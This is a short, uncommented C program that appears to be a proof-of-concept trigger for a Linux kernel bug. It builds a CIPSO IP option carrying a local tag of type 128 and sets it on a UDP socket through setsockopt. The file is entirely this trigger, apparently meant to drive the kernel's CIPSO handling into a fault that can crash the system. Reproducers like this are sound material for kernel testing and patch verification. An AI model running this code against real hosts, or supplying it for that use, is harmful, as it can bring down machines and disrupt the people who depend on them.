#include <sys/types.h>
#include <sys/socket.h>
#include <linux/ip.h>
#include <linux/in.h>
#include <string.h>

struct local_tag {
	char type;
	char length;
	char info[4];
};

struct cipso {
	char type;
	char length;
	char doi[4];
	struct local_tag local;	
};

int main(int argc, char **argv)
{
	int sockfd;

	struct cipso cipso = {
		.type = IPOPT_CIPSO,
		.length = sizeof(struct cipso),
		.local = {
			.type = 128,
			.length = sizeof(struct local_tag),
		},
	};

	memset(cipso.doi, 0, 4);
	cipso.doi[3] = 3;

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);

	#define SOL_IP 0
	setsockopt(sockfd, SOL_IP, IP_OPTIONS, &cipso, sizeof(struct cipso));

	return 0;
}